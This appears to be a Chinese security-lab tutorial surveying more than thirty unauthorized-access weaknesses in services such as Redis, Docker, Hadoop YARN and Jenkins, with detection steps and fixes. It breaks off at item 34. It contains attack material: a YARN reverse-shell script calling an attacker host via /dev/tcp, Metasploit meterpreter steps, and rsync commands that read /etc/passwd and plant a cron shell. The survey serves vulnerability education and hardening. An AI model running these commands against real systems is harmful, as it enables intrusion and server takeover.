常用的30+种未授权访问漏洞汇总-NGC660 安全实验室

本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担

本文导读：

尽量覆盖了目前网络资讯上公布的30+种未授权访问漏洞
融入了本人的学习经验和心得，把未授权访问漏洞按照默认端口顺序从小到大排列，对于默认端口可进行批量端口探测服务，再进一步进行漏洞检测，逻辑清晰，方便学者学习和漏洞复现。
本文涵盖漏洞描述、漏洞检测和漏洞修复建议为一体，深层次利用不在本文，可自行网上搜索。

未授权访问漏洞介绍

未授权访问漏洞是一个在企业内部非常常见的问题，未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷，导致其他用户可以直接访问，从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。

演示环境搭建

使用vulhub搭建漏洞演示环境

参考：https://vulhub.org/#/docs/install-docker/

未授权访问漏洞汇总预览

1 、FTP 未授权访问（21）

2 、LDAP 未授权访问（389）

3 、Rsync 未授权访问（873）

4 、ZooKeeper 未授权访问（2181）

5 、Docker 未授权访问（2375）

6 、Docker Registry未授权（5000）

7 、Kibana 未授权访问（5601）

8 、VNC 未授权访问（5900、5901）

9 、CouchDB 未授权访问（5984）

10 、Apache Spark 未授权访问（6066、8081、8082）

11 、Redis 未授权访问（6379）

12 、Weblogic 未授权访问（7001）

13 、HadoopYARN 未授权访问（8088）

14 、JBoss 未授权访问（8080）

15 、Jenkins 未授权访问（8080）

16 、Kubernetes Api Server 未授权（8080、10250）

17 、Active MQ 未授权访问（8161）

18 、Jupyter Notebook 未授权访问（8888）

19 、Elasticsearch 未授权访问（9200、9300）

20 、Zabbix 未授权访问（10051）

21 、Memcached 未授权访问（11211）

22 、RabbitMQ 未授权访问（15672、15692、25672）

23 、MongoDB 未授权访问（27017）

24 、NFS 未授权访问（2049、20048）

25 、Dubbo 未授权访问（28096）

26 、Druid 未授权访问

27 、Solr 未授权访问

28 、SpringBoot Actuator 未授权访问

29 、SwaggerUI未授权访问漏洞

30 、Harbor未授权添加管理员漏洞

31 、Windows ipc共享未授权访问漏洞

32 、宝塔phpmyadmin未授权访问

33 、WordPress未授权访问漏洞

34 、Atlassian Crowd 未授权访问

35 、PHP-FPM Fastcgi未授权访问漏洞

36 、uWSGI未授权访问漏洞

37 、Kong未授权访问漏洞(CVE-2020-11710)

38 、ThinkAdminV6未授权访问漏洞

1. FTP 未授权访问（21）

漏洞简介

FTP 弱口令或匿名登录漏洞，一般指使用 FTP 的用户启用了匿名登录功能，或系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等，容易被黑客攻击，发生恶意文件上传或更严重的入侵行为。

漏洞检测

1、端口扫描

2、直接访问ftp路径：ftp://ip:port/

1657117591_62c59b97bd7c07fd25251.png!small?1657117593156

漏洞修复

禁止匿名登录；
配置强密码，密码长度建议八位以上，且密码应包括大小写字母、特殊字符、数字混合体；

2. LDAP 未授权访问（389）

漏洞简介

LDAP中文全称为：轻型目录访问协议（Lightweight Directory Access Protocol），默认使用389， LDAP 底层一般使用 TCP 或 UDP 作为传输协议。目录服务是一个特殊的数据库，是一种以树状结构的目录数据库为基础。未对LDAP的访问进行密码验证，导致未授权访问。

漏洞检测

1、端口扫描

2、使用nmap寻找到相关的LDAP服务器，可以使用ldapbrowser工具（下载：https://ldapbrowserwindows.com/）直接连接，获取目录内容。

1657117621_62c59bb56f8f3f5c60de6.png!small?1657117622967

漏洞修复

修改ldap的acl，禁止匿名访问。
根据业务设置ldap访问白名单或黑名单；

3. Rsync 未授权访问（873）

漏洞简介

rsync是Linux/Unix下的一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件和目录，默认运行在873端口。由于配置不当，导致任何人可未授权访问rsync，上传本地文件，下载服务器文件。

漏洞检测

1、端口扫描

2、root@kali使用Rsync命令即可进行检测。

rsync rsync://192.168.126.130:873/

rsync rsync://192.168.126.130:873/src

利用rsync下载任意文件

rsync rsync://192.168.126.130:873/src/

1657117638_62c59bc623bf7960e07c1.png!small?1657117639690
etc/passwd ./

1657117664_62c59be0e0c488cac68f0.png!small?1657117666477

或者写入任意文件

rsync -av shell rsync://192.168.126.130:873/src/etc/cron.d/shell

1657117653_62c59bd54fa0ea80ad133.png!small?1657117666476

漏洞修复

隐藏掉 module 信息：修改配置文件 list =false。
权限控制：不需要写入权限的 module 的设置为只读 Read only = true;
网络访问控制：使用安全组策略或白名单限制，只允许必要访问的主机访问;
账户认证：只允许指定的用户利用指定的密码使用 rsync 服务;
数据加密传输：Rsync 默认没有直接支持加密传输，如果需要 Rsync 同步重要性很高的数据，可以使用 ssh;
参考文章：https://www.freebuf.com/column/202771.html

4. ZooKeeper 未授权访问（2181）

漏洞简介

ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务，ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境，任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。

漏洞检测

1、端口扫描

2、漏洞复现

执行root@kali:~# echo envi|nc 192.168.131.128 2181 获取服务器环境信息：

1657117670_62c59be6932129538f53b.png!small?1657117672108

root@kali:~# echo stat |nc 192.168.131.128 2181

1657117676_62c59becb3676317a7084.png!small?1657117678115

漏洞修复

为ZooKeeper配置相应的访问权限；
设置防火墙策略；
禁止把Zookeeper直接暴露在公网；

5. Docker 未授权访问（2375）

漏洞简介

该未授权访问漏洞是因为Docker API可以执行Docker命令，该接口是目的是取代Docker命令界面，通过URL操作Docker。

漏洞检测

端口扫描
直接输入地址 http://your-ip:2375/version。若能访问，证明存在未授权访问漏洞。

1657117687_62c59bf7629e88b37b5ce.png!small?1657117688899

漏洞修复

对2375端口做网络访问控制，如ACL控制，或者访问规则；
修改docker swarm的认证方式，使用TLS认证；

6. Docker Registry未授权（5000）

默认5000端口，docker remote api可以执行docker命令，该接口是目的是取代docker 命令界面，通过url操作docker。

漏洞检测：

1、端口扫描

2、http://10.101.20.43:5000/v2

http://10.101.20.43:5000/v2/_catalog

1657117719_62c59c178108e1101f983.png!small?1657117720790

安全建议

1、设置ACL，只允许信任ip连接对应端口

2、开启TLS，使用生成的证书进行认证

7. Kibana 未授权访问（5601）

漏洞简介

Kibana如果允许外网访问，没有做安全的登录认证，也会被外部随意访问查看所有的数据，造成少数据泄露。

漏洞检测

1、端口扫描

2、直接访问kibana的页面

http://192.168.126.130:5601/

https://192.168.126.130/app/kibana#

http://192.168.126.130:5601/app/kibana#/

无需账号密码可以登录进入界面

1657117741_62c59c2deb84820bbb86b.png!small?1657117743378

漏洞修复

设置kibana监听本地地址，并设置ElasticSearch登录的账号和密码；
设置防火墙策略，限定IP访问服务；

8. VNC 未授权访问（5900、5901）

漏洞简介

VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。

VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。

漏洞检测

1、端口扫描

1657117777_62c59c515d6f33e305efd.png!small?1657117778811

2、使用 VNC 客户端连接主机

VNC-Viewer工具下载(https://www.realvnc.com/en/connect/download/viewer/windows/)

安装过程，双击msi文件一路下一步就可以了。

在 VNC 客户端输入目标服务器IP，之后点击确定、连接，即可成功控制目标服务器

1657117883_62c59cbb6f7b33de00ff7.png!small 1657117889_62c59cc180986d61a852c.png!small?1657117890937 1657117893_62c59cc5da8dbab6c72b7.png!small?1657117895439 漏洞修复

配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码；
以最小权限的普通用户身份运行操作系统；

9. CouchDB 未授权访问（5984）

漏洞简介

Apache CouchDB 是一个开源数据库，默认会在5984端口开放Restful的API接口，如果使用SSL的话就会监听在6984端口，用于数据库的管理功能。其HTTP Server默认开启时没有进行验证，而且绑定在0.0.0.0，所有用户均可通过API访问导致未授权访问。

在官方配置文档中对HTTP Server的配置有WWW-Authenticate：Set this option to trigger basic-auth popup on unauthorized requests，但是很多用户都没有这么配置，导致漏洞产生。

漏洞检测

1、端口扫描

2、未授权访问kali测试命令

curl 192.168.126.130:5984

curl 192.168.126.130:5984/_config

1657117912_62c59cd8d566e8bbf09f0.png!small?1657117915322

漏洞修复

指定CouchDB绑定的IP （需要重启CouchDB才能生效）在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ，把 0.0.0.0 修改为 127.0.0.1 ，然后保存。注：修改后只有本机才能访问CouchDB。

设置访问密码（需要重启CouchDB才能生效）在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。

设置WWW-Authenticate，强制认证。

10. Apache Spark 未授权访问（6066、8081、8082）

漏洞简介

Apache Spark是一款集群计算系统，其支持用户向管理节点提交应用，并分发给集群执行。如果管理节点未启动访问控制，攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用，Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码，会导致任意代码执行，威胁Spark集群整体的安全性。

漏洞检测

nmap扫描出如下端口开放，则很有可能存在漏洞

1657117921_62c59ce177236f07d7bcd.png!small?1657117923033

1657117926_62c59ce622faf5fdc8824.png!small?1657117927496

使用msf工具getshell

msf5>use exploit/linux/http/spark_unauth_rce

msf5>set payload java/meterpreter/reverse_tcp

msf5>set rhost 192.168.100.2

msf5>set rport 6066

msf5>set lhost 192.168.100.1

msf5>set lport 4444

msf5>set srvhost 192.168.100.1

msf5>set srvport 8080

msf5>exploit

1657117935_62c59cef405ddccf975fe.png!small?1657117936715

漏洞修复

对外关闭敏感端口；
配置用户权限认证；

参考文章：https://www.cnblogs.com/KevinGeorge/p/10399844.html

11. Redis 未授权访问（6379）

漏洞简介

redis是一个数据库，默认端口是6379，redis默认是没有密码验证的，可以免密码登录操作，攻击者可以通过操作redis进一步控制服务器。

Redis未授权访问在4.x/5.0.5以前版本下，可以使用master/slave模式加载远程模块，通过动态链接库的方式执行任意命令。

漏洞检测

端口扫描
Kali连接主机

（1）kali安装redis-cli远程连接工具

wget http://download.redis.io/redis-stable.tar.gz

tar -zxvf redis-stable.tar.gz

cd redis-stable

make

cp src/redis-cli /usr/bin/

redis-cli -h

（2）使用redis-cli命令直接远程免密登录redis主机

redis-cli -h 目标主机IP

1657117957_62c59d056eb545173ffe7.png!small?1657117958770

（3）尝试keys * 命令，若存在以下页面，则存在漏洞

1657117964_62c59d0c205f8c02ec2f3.png!small?1657117965672

（4）进一步利用

利用redis 可视化工具Another Redis Desktop Manager

1657117969_62c59d11eebbe5c49f4e7.png!small?1657117971370

漏洞修复

到redis安装目录下，配置redis.conf文件：

1、默认只对本地开放

bind 127.0.0.1

2、添加登陆密码

修改 redis.conf 文件，添加

requirepass mypasswd

3、在需要对外开放的时候修改默认端口（端口不重复就可以）

port 2344

4、以低权限运行 Redis 服务（重启redis才能生效）

为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆

5、最后还可以配合iptables限制开放

12. Weblogic 未授权访问（7001）

漏洞简介

Weblogic是Oracle公司推出的J2EE应用服务器，CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台。

CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

漏洞检测

1、端口扫描

2、使用vulhub搭建漏洞演示环境

cd vulhub/weblogic/CVE-2020-14882

sudo docker-compose up –d

1657118017_62c59d4113813a266f711.png!small?1657118018632

攻击者可以构造特殊请求的URL，即可未授权访问到管理后台页面：

http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal

1657118024_62c59d48df65fb0662f70.png!small?1657118026312
远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console ，并在 WebLogic Server Console 执行任意代码。

漏洞修复

下载补丁程序并安装更新；

13. HadoopYARN 未授权访问（8088）

漏洞简介

Hadoop是一款由Apache基金会推出的分布式系统框架，它通过著名的MapReduce算法进行分布式处理，Yarn是Hadoop集群的资源管理系统。

此次事件主要因HadoopYARN资源管理系统配置不当，导致可以未经授权进行访问，从而被攻击者恶意利用。攻击者无需认证即可通过RESTAPI部署任务来执行任意指令，最终完全控制服务器。

漏洞检测

1、端口扫描

2、使用vulhub搭建漏洞演示环境

1 cd /vulhub/hadoop/unauthorized-yarn

2 docker-compose up -d

3、环境启动后，没有配置身份认证，可以未授权访问到Hadoop YARN ResourceManager WebUI页面。

1 http://192.168.126.130:8088/

2 http://192.168.126.130:8088/cluster

1657118063_62c59d6f983511ff9e76d.png!small?1657118065120

利用该漏洞，可以进一步getshell

1657118069_62c59d75441590b9e263b.png!small?1657118070699 脚本源码如下：rce.py

#!/usr/bin/env python
import requests
target = 'http://192.168.126.130:8088/' # 设置目标主机的ip地址
lhost = '192.168.126.128' # 设置你攻击主机的监听ip地址，并且监听端口为9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

1657118128_62c59db0ad01fe7073270.png!small?1657118130251

漏洞修复

升级Hadoop到x版本以上，并启用Kerberos认证功能，禁止匿名访问;
设置“安全组”访问控制策略，将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口；
如无必要，关闭 Hadoop Web 管理页面；

14. JBoss 未授权访问（8080）

漏洞简介

漏洞简述JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/jmx-console，就可以浏览 Jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

漏洞检测

1、端口扫描

2、直接访问 http://ip:port/，看是否能进入 jmx-console 和 web-console 页面

http://ip:8080/

http://ip:8080/jmx-console/

http://ip:8080/jbossws/

1657118140_62c59dbc8ceedec1a86f3.png!small?1657118141912

漏洞修复

添加 JMX 控制页面身份认证；
进行JMX Console 安全配置；
关闭jmx-console和web-console;

15. Jenkins 未授权访问（8080）

漏洞简介

默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

漏洞检测

1、端口扫描

2、直接通过url输入以下地址，若能访问，证明存在未授权访问漏洞。

http://<target>:8080/manage

http://<target>:8080/script

1657118155_62c59dcb485c06a80ecb1.png!small?1657118156816 未授权访问 http://<target>:8080/script，可以执行系统命令

# 命令格式

println ‘whoami’.execute().text

1657118168_62c59dd869e9c3ef51a9a.png!small?1657118169778

漏洞修复

对后台控制页面做登录验证限制；
升级Jenkins至新版本；
禁止把Jenkins直接暴露在公网；

16. Kubernetes Api Server 未授权（8080、10250）

漏洞简介

Kubernetes 的服务在正常启动后会开启两个端口：Localhost Port （默认8080）、Secure Port （默认6443）。这两个端口都是提供 Api Server 服务的，一个可以直接通过 Web 访问，另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限，那么攻击者就可以通过这两个接口去获取容器的权限。

漏洞检测

1、端口扫描

使用nmap寻找相关的端口和服务，直接访问脆弱的服务

2、检测

（1）端口：8080 http://10.10.4.89:8080/

1657118185_62c59de95b9be4e1c665a.png!small

（2）端口：8080：api dashboard：http://10.10.4.89:8080/ui

1657118204_62c59dfc90bb60ddb391b.png!small?1657118205898

（3）端口：10250端口是kubelet API的HTTPS端口，通过路径:https://xxx/10250/pods获取环境变量、运行的容器信息、命名空间等信息。

1657118212_62c59e04c96cb93ceabb1.png!small?1657118214426

漏洞修复

进行授权认证；
使用Service Account令牌；
设置防火墙策略，限定IP访问服务；

17. Active MQ 未授权访问（8161）

漏洞简介

ActiveMQ 是一款流行的开源消息服务器。默认情况下，ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击，获取服务器权限，从而导致数据泄露。

漏洞检测

默认端口：8161

默认密码：admin/admin

1657118229_62c59e1524304b07d7bcf.png!small?1657118230622

漏洞修复

针对未授权访问，可修改conf/jetty.xml文件，bean id为securityConstraint下的authenticate修改值为true，重启服务即可。

针对弱口令，可修改conf/jetty.xml文件，bean id 为securityLoginService下的conf值获取用户properties，修改用户名密码，重启服务即可。

18. Jupyter Notebook 未授权访问（8888）

漏洞简介

Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。

漏洞检测

1、使用vulhub搭建漏洞演示环境

cd /vulhub/jupyter/notebook-rce

docker-compose up -d

2、端口扫描

3、访问http://your-ip:8888，将看到Jupyter Notebook的Web管理界面，并没有要求填写密码。

1657118263_62c59e37ea4c7f4e93591.png!small?1657118265428
选择 new -> terminal 即可创建一个控制台：

1657118270_62c59e3ec89f16f9ba44d.png!small?1657118272177

直接执行任意命令：

1657118278_62c59e46ddd22bd1f9862.png!small?1657118280374

漏洞修复

开启身份验证，防止未经授权用户访问；
访问控制策略，限制IP访问，绑定固定IP；

19. Elasticsearch 未授权访问（9200、9300）

漏洞简介

Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析，启动此服务默认会开放9200端口或者9300端口，可被非法操作数据。

漏洞检测

1、端口扫描

2、浏览器访问测试命令

http://localhost:9200

http://localhost:9200/_cat/

http://localhost:9200/_cat/indices

http://localhost:9200/_river/_search //查看数据库敏感信息

http://localhost:9200/_nodes //查看节点数据

如有安装head插件：

http://localhost:9200/_plugin/head/ //web管理界面

1657118302_62c59e5e7d4468996650f.png!small?1657118304239

1657118307_62c59e63e072648ff47b3.png!small?1657118309453

1657118313_62c59e6960c6f96374ab1.png!small?1657118314878

漏洞修复

访问控制策略，限制IP访问，绑定固定IP；
在config/elasticsearch.yml中为9200端口设置认证等；

20. Zabbix 未授权访问（10051）

漏洞简介

zabbix是一款服务器监控软件，默认服务开放端口为10051，其由server、agent、web等模块组成，其中web模块由PHP编写，用来显示数据库中的结果。

漏洞检测

1、端口扫描

2、无需账户密码直接访问zabbix页面

1657118323_62c59e73765d60e22dcc9.png!small?1657118324932

漏洞修复

设置zabbix的复杂口令，不要用默认口令或弱口令，禁用guest登录功能；
zabbix的server和agent都不要以root启动，不要设置AllowRoot=1；
禁止agent执行run，不要设置EnableRemoteCommands=1；

21. Memcached 未授权访问（11211）

漏洞简介

Memcached 端口对外开放并且没有配置认证选项，未授权用户可直接获取数据库中所有信息，造成严重的信息泄露。

漏洞检测

1、端口扫描

2、无需用户名密码，可以直接连接memcache 服务的11211端口

telnet 10.10.4.89 11211

# 或者

nc -vv 11211

1657118336_62c59e804ab90f9afbfa2.png!small?1657118337716

使用了 stats 命令来输出 Memcached 服务信息

1657118341_62c59e85762f344bc2670.png!small?1657118343348

1657118353_62c59e9106a048c00b5f3.png!small?1657118354415

漏洞修复

修改绑定的IP、端口和指定访问者IP；
设置防火墙策略；
禁止暴露在公网；
配置memcached监听本地回环地址
127.0.0.1；

22. RabbitMQ 未授权访问（15672、15692、25672）

漏洞简介

RabbitMQ是目前非常热门的一款消息中间件，基于AMQP协议的，可以在发布者和使用者之间交换异步消息。消息可以是人类可读的JSON，简单字符串或可以转换为JSON字符串的值列表。

漏洞检测

1、端口扫描

2、浏览器访问测试

默认账号密码都是guest

http://10.10.4.89:15672

http://10.10.4.89:15692

http://10.10.4.89:25672

1657118376_62c59ea890d376f89361c.png!small?1657118377961

漏洞修复

修改为强密码，删除默认的账号guest；
禁止对外网开放，仅限于内部访问；

23. MongoDB 未授权访问（27017）

漏洞简介

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作（增、删、改、查高危动作）而且可以远程访问数据库。

造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 –auth 也很少会有人会给数据库添加上账号密码（默认空口令），使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。

漏洞检测

1、端口扫描

2、kali安装mongodb，然后直接连接到服务。

yum install mongodb

mongo –host 10.2.20.34 –port 27017

1657118398_62c59ebee36f2bc88dd6d.png!small?1657118400590

漏洞修复

限制绑定IP，启动时加入参数–bind_ip 127.0.0.1或在/etc/mongodb.conf文件中添加以下内容：bind_ip = 127.0.0.1；
在system.users中添加用户，启动认证；
设置防火墙策略，限定 IP 访问服务；
禁用HTTP和REST端口，修改配置文件或在启动的时候选择参数nohttpinterface=false；

24. NFS 未授权访问（2049、20048）

漏洞简介

Network File System(NFS)，是由SUN公司研制的UNIX表示层协议(pressentation layer protocol)，能使使用者访问网络上别处的文件就像在使用自己的计算机一样。服务器在启用nfs服务以后，由于nfs服务未限制对外访问，导致共享目录泄漏。

漏洞检测

1、端口扫描

2、

#linux安装nfs客户端

apt install nfs-common

#查看nfs服务器上的共享目录

showmount -e 192.168.126.130

#挂载相应共享目录到本地

mount -t nfs 192.168.126.130:/grdata /mnt

#卸载目录

umount /mnt

漏洞修复

利用iptables限制端口2049和20048端口的访问，禁止外部访问；
设置/etc/exports，对访问进行控制；

25. Dubbo 未授权访问（28096）

漏洞简介

Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架，使得应用可通过高性能的 RPC 实现服务的输出和输入功能，可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。

漏洞检测

1、端口扫描

2、连接进入dubbo 服务，进行操作

telent IP port

1657118462_62c59efe66c8a2111726f.png!small?1657118463719

1657118467_62c59f036c401a476e74d.png!small?1657118468793

漏洞修复

配置dubbo认证；
设置防火墙策略，限定IP访问；

26. Druid 未授权访问

漏洞简介

Druid是阿里巴巴数据库出品的，为监控而生的数据库连接池，并且Druid提供的监控功能，监控SQL的执行时间、监控Web URI的请求、Session监控，首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。

漏洞检测

直接在网站的url中后加上：

1 /druid/index.html

2 /druid/websession.html

3 /druid/datasource.html

4 /druid/sql.html

5 /druid/spring.html

如果可以无需登录，即可登录到Druid监控界面，则说明该网站存在Druid未授权访问漏洞

1657118477_62c59f0deedec2b1ea0e0.png!small?1657118479343

漏洞修复

配置访问账号密码；
禁止对外网开放访问；

27. Solr 未授权访问

漏洞简介

Solr是一个高性能，采用Java开发，基于Lucene的全文搜索服务器。solr的管理界面通常包含如下信息：solr的配置信息（包括路径，用户名，系统版本信息），数据库的配置信息（地址，用户名，密码），数据库搜索数据等。solr未授权访问的危害很大，轻则可查询所有数据库信息，重则可读取系统任意文件，甚至getshell。

漏洞检测

敏感目录扫描时加上一条 /solr/admin

http://xx.xx.com/solr/admin

https://xx.xx.com/solr/admin

1657118505_62c59f2943a3c736a1679.png!small?1657118506678

漏洞修复

配置solr访问控制权限；
禁止将solr暴露在公网；

28. SpringBoot Actuator 未授权访问

漏洞简介

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块，借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下，如果没有做好相关权限控制，非法用户可通过访问默认的执行器端点（endpoints）来获取应用系统中的监控信息，从而导致信息泄露甚至服务器被接管的事件发生。

漏洞检测

1、直接访问相关路径：

http://10.2.20.48/actuator/autoconfig

http://10.2.20.48 /actuator/env

http://10.2.20.48/actuator/dump

http://10.2.20.48/actuator/headdump可下载

1657118530_62c59f42360e3d12c047e.png!small?1657118531765

2、actuator未直接部署在IP根目录下

使用burpsuite的插件：APIKit

介绍：https://www.bilibili.com/read/cv15912732

介绍：https://blog.csdn.net/qq_50854790/article/details/122894291

漏洞修复

禁用/env接口；
升级到SpringBoot Actuator 2.0；
禁止对外开放；

29. SwaggerUI未授权访问漏洞

背景

Swagger 是一个规范且完整的框架，用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。

漏洞检测

1、可利用未授权访问漏洞，直接访问以下链接：

漏洞检测

1、可利用未授权访问漏洞，直接访问以下链接（目录遍历）

/api

/api-docs

/api-docs/swagger.json

/api.html

/api/api-docs

/api/apidocs

/api/doc

/api/swagger

/api/swagger-ui

/api/swagger-ui.html

/api/swagger-ui.html/

/api/swagger-ui.json

/api/swagger.json

/api/swagger/

/api/swagger/ui

/api/swagger/ui/

/api/swaggerui

/api/swaggerui/

/api/v1/

/api/v1/api-docs

/api/v1/apidocs

/api/v1/swagger

/api/v1/swagger-ui

/api/v1/swagger-ui.html

/api/v1/swagger-ui.json

/api/v1/swagger.json

/api/v1/swagger/

/api/v2

/api/v2/api-docs

/api/v2/apidocs

/api/v2/swagger

/api/v2/swagger-ui

/api/v2/swagger-ui.html

/api/v2/swagger-ui.json

/api/v2/swagger.json

/api/v2/swagger/

/api/v3

/apidocs

/apidocs/swagger.json

/doc.html

/docs/

/druid/index.html

/graphql

/libs/swaggerui

/libs/swaggerui/

/spring-security-oauth-resource/swagger-ui.html

/spring-security-rest/api/swagger-ui.html

/sw/swagger-ui.html

/swagger

/swagger-resources

/swagger-resources/configuration/security

/swagger-resources/configuration/security/

/swagger-resources/configuration/ui

/swagger-resources/configuration/ui/

/swagger-ui

/swagger-ui.html

/swagger-ui.html#/api-memory-controller

/swagger-ui.html/

/swagger-ui.json

/swagger-ui/swagger.json

/swagger.json

/swagger.yml

/swagger/

/swagger/index.html

/swagger/static/index.html

/swagger/swagger-ui.html

/swagger/ui/

/Swagger/ui/index

/swagger/ui/index

/swagger/v1/swagger.json

/swagger/v2/swagger.json

/template/swagger-ui.html

/user/swagger-ui.html

/user/swagger-ui.html/

/v1.x/swagger-ui.html

/v1/api-docs

/v1/swagger.json

/v2/api-docs

/v3/api-docs

2、swagger-ui未直接部署在IP根目录下

使用burpsuite的插件：APIKit

介绍：https://www.bilibili.com/read/cv15912732

介绍：https://blog.csdn.net/qq_50854790/article/details/122894291

修复方法

设置访问权限

30. Harbor未授权添加管理员漏洞

Harbor未授权添加任意管理员漏洞。攻击者可通过构造特定的字符串，在未授权的情况下直接创建管理员账号，从而接管Harbor镜像仓库。

漏洞地址：http://10.101.20.111/harbor/sign-in

1657118865_62c5a0917205dd15fee30.png!small?1657118866902

1657118870_62c5a09666bc3b3b21d3e.png!small?1657118871730

成功添加用户，账号coco密码coco1234

1657118904_62c5a0b8c4823a4abbc3c.png!small?1657118906245

成功接管harbor镜像仓库

1657118933_62c5a0d544a804b7bf73d.png!small?1657118934817

安全建议

尽快升级到安全版本，下载链接参考：

https://github.com/goharbor/harbor/releases

31. Windows ipc共享未授权访问漏洞

1657118953_62c5a0e9735e6653bfc64.png!small?1657118954862

32. 宝塔phpmyadmin未授权访问

漏洞简介

宝塔Linux面板7.4.2版本和Windows面板6.8版本存在phpmyadmin未授权访问漏洞

phpmyadmin未鉴权，可通过特定地址直接登录数据库的漏洞。

漏洞检测

1、目录扫描：/pma 或者 /phpmyadmin

2、漏洞URL：http://ip:888/pma

即可直接登录（但要求必须安装了phpmyadmin）

1657118966_62c5a0f65fbf3cd2480aa.png!small?1657118967770

漏洞修复

更新宝塔phpmyadmin为最新版本

33. WordPress未授权访问漏洞

漏洞复现

可参考

https://www.cnblogs.com/bflw/p/12342845.html

34. Atlassian Crowd 未授权访问

漏洞简介

Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。

Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件，使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件，执行任意代码/命令，从而获得服务器权限。

漏洞检测